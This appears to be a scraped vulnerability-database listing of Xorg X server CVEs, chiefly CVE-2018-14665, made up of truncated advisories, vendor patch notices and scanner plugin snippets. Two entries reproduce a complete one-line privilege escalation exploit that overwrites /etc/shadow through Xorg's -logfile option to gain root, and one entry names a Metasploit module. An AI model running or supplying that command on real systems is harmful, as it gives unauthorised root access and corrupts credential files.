CVE-2018-14665

A flaw was found in xorg-x11-server before 1.20.3. An incorrect permission check for -modulepath and -logfile options when starting Xorg. X server allows unprivileged users with the ability to log in to the system via physical console to escalate their privileges and run arbitrary code under root...

Xorg X11 Server SUID logfile Privilege Escalation

This module attempts to gain root privileges with SUID Xorg X11 server versions 1.19.0 use exploit/multi/local/xorg/x11suidserver msf undefinedx11suidserver show actions ...actions... msf undefinedx11suidserver set ACTION msf undefinedx11suidserver show options ...show and set optio...

xorg-x11-server Local Privilege Escalation

CVE-2018-14665 - a LPE exploit via http://X.org fits in a tweet cd /etc; Xorg -fp "root::16431:0:99999:7:::" -logfile shadow :1;su Overwrite shadow or any file on most Linux, get root privileges. BSD and any other Xorg desktop also affected. !/bin/sh local privilege escalation in X11 currently...

xorg-x11-server < 1.20.3 - Local Privilege Escalation

CVE-2018-14665 - a LPE exploit via http://X.org fits in a tweet cd /etc; Xorg -fp "root::16431:0:99999:7:::" -logfile shadow :1;su Overwrite shadow or any file on most Linux, get root privileges. BSD and any other Xorg desktop also affected. !/bin/sh local privilege escalation in X11 currently...

UBUNTU-CVE-2018-14665

A flaw was found in xorg-x11-server before 1.20.3. An incorrect permission check for -modulepath and -logfile options when starting Xorg. X server allows unprivileged users with the ability to log in to the system via physical console to escalate their privileges and run arbitrary code under root...

Debian: Security Advisory (DSA-4328-1)

The remote host is missing an update for the Debian SPDX-FileCopyrightText: 2018 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

SUSE SLES11 Security Update : xorg-x11-libX11 (SUSE-SU-2018:2934-1)

This update for xorg-x11-libX11 fixes the following issues : CVE-2018-14599: The function XListExtensions was vulnerable to an off-by-one error caused by malicious server responses, leading to DoS or possibly unspecified other impact bsc1102062 CVE-2018-14600: The function XListExtensions...

SUSE-SU-2018:2934-1 Security update for xorg-x11-libX11

This update for xorg-x11-libX11 fixes the following issues: - CVE-2018-14599: The function XListExtensions was vulnerable to an off-by-one error caused by malicious server responses, leading to DoS or possibly unspecified other impact bsc1102062 - CVE-2018-14600: The function XListExtensions...

SUSE SLES11 Security Update : xorg-x11-libs (SUSE-SU-2018:2791-1)

This update for xorg-x11-libs fixes the following security issue : CVE-2015-9262: XcursorThemeInherits allowed remote attackers to cause denial of service or potentially code execution via a one-byte heap overflow bsc1103511 Note that Tenable Network Security has extracted the preceding descripti...

SUSE-SU-2018:2791-1 Security update for xorg-x11-libs

This update for xorg-x11-libs fixes the following security issue: - CVE-2015-9262: XcursorThemeInherits allowed remote attackers to cause denial of service or potentially code execution via a one-byte heap overflow bsc1103511...

DEBIAN-CVE-2017-2624

It was found that xorg-x11-server before 1.19.0 including uses memcmp to check the received MIT cookie against a series of valid cookies. If the cookie is correct, it is allowed to attach to the Xorg session. Since most memcmp implementations return after an invalid byte is seen, this causes a ti...

CVE-2017-2624

It was found that xorg-x11-server before 1.19.0 including uses memcmp to check the received MIT cookie against a series of valid cookies. If the cookie is correct, it is allowed to attach to the Xorg session. Since most memcmp implementations return after an invalid byte is seen, this causes a ti...

CVE-2017-2624

It was found that xorg-x11-server before 1.19.0 including uses memcmp to check the received MIT cookie against a series of valid cookies. If the cookie is correct, it is allowed to attach to the Xorg session. Since most memcmp implementations return after an invalid byte is seen, this causes a ti...

Code injection

It was found that xorg-x11-server before 1.19.0 including uses memcmp to check the received MIT cookie against a series of valid cookies. If the cookie is correct, it is allowed to attach to the Xorg session. Since most memcmp implementations return after an invalid byte is seen, this causes a ti...

CVE-2017-2624

It was found that xorg-x11-server before 1.19.0 including uses memcmp to check the received MIT cookie against a series of valid cookies. If the cookie is correct, it is allowed to attach to the Xorg session. Since most memcmp implementations return after an invalid byte is seen, this causes a ti...

CVE-2017-2624

CVE-2017-2624 affects the X.Org X server (xorg-x11-server) before 1.19.0. The vulnerability arises from using memcmp() to compare the received MIT cookie against a series of valid cookies; since many memcmp() implementations stop at the first differing byte, an observable timing差 can leak informa...

CVE-2017-2624

It was found that xorg-x11-server before 1.19.0 including uses memcmp to check the received MIT cookie against a series of valid cookies. If the cookie is correct, it is allowed to attach to the Xorg session. Since most memcmp implementations return after an invalid byte is seen, this causes a ti...

Security Bulletin: TSSC/IMC is affected by vulnerability for xorg-x11-server (CVE-2015-0255)

Summary The Total Storage System Console/TS4500 Integrated Management Console is affected by a vulnerability involving the xorg-x11-server Vulnerability Details CVEID: CVE-2015-0255 DESCRIPTION: X.Org X Server could allow a remote attacker to obtain sensitive information, caused by the improper...

Solaris 10 (x86) : 125720-67

X11 6.8.0x86: Xorg server patch. Date this patch was last updated by Sun : Nov/12/15 %NASLMINLEVEL 70300 C Tenable Network Security, Inc. The descriptive text in this plugin was extracted from the Oracle SunOS Patch Updates. include'deprecatednasllevel.inc'; include'compat.inc'; if description...

Solaris 10 (sparc) : 125719-42

X11 6.8.0: Xorg server patch. Date this patch was last updated by Sun : Nov/28/11 %NASLMINLEVEL 70300 C Tenable Network Security, Inc. The descriptive text in this plugin was extracted from the Oracle SunOS Patch Updates. include'deprecatednasllevel.inc'; include'compat.inc'; if description...